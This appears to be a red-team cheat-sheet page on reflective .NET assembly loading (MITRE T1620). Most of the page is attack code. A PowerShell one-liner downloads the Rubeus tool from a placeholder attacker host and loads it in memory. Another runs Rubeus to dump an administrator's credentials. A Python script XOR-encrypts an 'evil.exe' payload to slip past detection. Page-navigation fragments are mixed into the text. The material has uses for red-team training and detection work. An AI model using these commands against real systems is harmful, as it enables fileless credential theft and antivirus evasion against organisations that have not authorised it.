Loading .NET Reflective Assembly
MITRE ATT&CK™ Reflective Code Loading - Technique T1620
Theory
Practice
Powershell
#Load assembly from memory
$data=(New-Object Net.Webclient).DownloadData("http://<ATTACKING_IP>/Rubeus.exe")
[System.Reflection.Assembly]::Load($data)
#Load assembly from disk
[System.Reflection.Assembly]::Load([IO.File]::ReadAllBytes(".\Rubeus.exe"))[Rubeus.Program]::Main("dump /user:administrator".Split())def xor_encrypt(data, key):
decrypted_data = bytearray()
key_length = len(key)
for i, byte in enumerate(data):
decrypted_byte = byte ^ ord(key[i % key_length])
decrypted_data.append(decrypted_byte)
return bytes(decrypted_data)
def main():
input_file_path = "evil.exe" # Replace this with the path to your input file
output_file_path = "evil.enc.exe" # Replace this with the path to your output enc file
xor_key = "MySuperSecretKey" # Replace "XOR_KEY" with your actual XOR key
with open(input_file_path, "rb") as input_file:
binary_data = input_file.read()
decrypted_data = xor_encrypt(binary_data, xor_key)
with open(output_file_path, "wb") as output_file:
output_file.write(decrypted_data)
if __name__ == "__main__":
main()C#
C/C++
Tools
Resources
Last updated